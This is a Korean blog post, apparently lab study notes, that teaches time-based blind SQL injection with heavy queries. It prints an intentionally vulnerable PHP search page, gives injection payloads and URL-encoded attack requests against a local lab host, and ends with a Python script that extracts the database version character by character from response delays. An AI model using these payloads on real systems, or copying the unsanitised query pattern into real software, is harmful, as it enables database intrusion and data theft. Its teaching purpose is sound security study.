Self-Improvement

Time 기반 SQLi (Heavy Query, Python 자동화 코드) 본문

SQLi

Time 기반 SQLi (Heavy Query, Python 자동화 코드)

JoGeun 2020. 4. 23. 14:52

소스코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
 
$mysqli = new mysqli('localhost''root''root''northwind');
 
if (mysqli_connect_errno()) {
    printf("Connection failed: %s\n",mysqli_connect_error());
    exit;
}
 
$queryCheck="select 1 from board";
$result = $mysqli->query($queryCheck);
 
if($result == FALSE){
    $createQuery="CREATE TABLE board (" .
         "idx int(11) AUTO_INCREMENT PRIMARY KEY," .
         "writer VARCHAR(10) NOT NULL," .
         "email VARCHAR(30)," .
         "subject VARCHAR(50) NOT NULL," .
         "passwd VARCHAR(12) NOT NULL," .
         "reg_date DATETIME NOT NULL," .
         "readcount INT DEFAULT 0," .
         "content TEXT NOT NULL," .
         "ip VARCHAR(20) NOT NULL);";
    $result = $mysqli->query($createQuery);
}
 
$_search = "";
 
if(isset($_GET['subject'])) $_search  = $_GET['subject'];
 
$sql    = 'select * from board where subject=\'' . $_search . '\'';
 
$time1  = microtime(true);
if ($_search!="") {
    if(strpos($_search,"union")==FALSE) $result = $mysqli->query($sql);
}
$time2 = microtime(true);
$timegap = round($time2 - $time1,3)*1000;
 
print "<form action=\"" . $_SERVER['PHP_SELF'] . "\">\n";
print "제목검색 : ";
print "<input type=\"text\" name=\"subject\" value=\"" . $_search . "\">&nbsp;";
print "<input type=\"submit\" value=\"검색\">";
print "</form>\n";
 
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td width=\"20\">num</td>"
    "<td width=\"220\">subject</td>" . 
    "<td width=\"80\">writer</td>" . 
    "<td width=\"80\">date</td>" . 
    "<td width=\"20\">count</td>\n\t</tr>";
 
if ($result) {
    while ($row = $result->fetch_row()) {
        print "\t<tr>\n\t\t<td>" . $row['idx'] . "</td><td>" . 
        $row['subject'] . "</td><td>" . $row['writer'] . "</td><td>" .
        $row['reg_date'] . "</td><td>" . $row['readcount'] . "\n\t</tr>\n";
    }
    $mysqli->close();
}
print "</table>\n";
print "Time Delay : $timegap millisecond"
?>
cs

 

페이지에 접속해본다

 

싱글쿼터나 참/거짓 명제를 통해 Error가 존재하는지 응답 데이터가 달라지는지를 확인해보았지만 해당 DB에는 데이터가 존재하지 않기 때문에 Error와 응답의 변화가 존재하지 않는다.

 

그럼으로 Time 기반 SQLi를 수행해본다. 이때 데이터 값들이 존재하지 않기 때문에 시간 내장함수를 사용해도 변화가 없을 것이다. 그럼으로 여기서는 Heavy Query를 이용한다.

 

subject 파라미터를 보아서는 문자형 데이터인 것으로 추측되어 싱글쿼터 처리 및 Heavy Query를 주입한다.

시간 지연이 발생하였음으로 Heavy Query가 정상적으로 주입된 것이다.

' and (select count(*) from information_schema.columns col1, information_schema.tables tab1) and '1'='1

- http://192.168.1.46/time_board_list.php?subject=%27%20and%20(select%20count(*)%20from%20information_schema.columns%20col1,%20information_schema.tables%20tab1)%20and%20%271%27=%271

 

이번에는 case 문을 이용하여 주입해본다

' and (case when 1=2 then 1 else (select count(*) from information_schema.columns col1, information_schema.tables tab1) end) and '1'='1

http://192.168.1.46/time_board_list.php?subject=%27%20and%20(case%20when%201=2%20then%201%20else%20(select%20count(*)%20from%20information_schema.columns%20col1,%20information_schema.tables%20tab1)%20end)%20and%20%271%27=%271

 

tables 객체를 하나더 추가하면 대략 1초이상이 지연된다. 이러한 방식으로 시간 기반 SQLi를 하면된다.

 

Python 코드 자동화로 간단히 버전을 출력해본다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
 
 
= requests.Session()
 
baseurl='http://192.168.1.46'
 
a=[]
for i in range(1,15):
    for number in range(128):
        url=baseurl+'/time_board_list.php?'
        url+='subject=%27%20and%20(case%20when%20(select substr(version(),'+str(i)+',1))=char('+str(number)+')%20then%20(select%20count(*)%20from%20information_schema.columns%20col1,%20information_schema.tables%20tab1,%20information_schema.tables%20tab2)%20else%202%20end)%20and%20%271%27=%271'
 
        resp=s.get(url)
        if resp.elapsed.total_seconds() > 1:
            a.append(chr(number))
            print (''.join(a))
            break
cs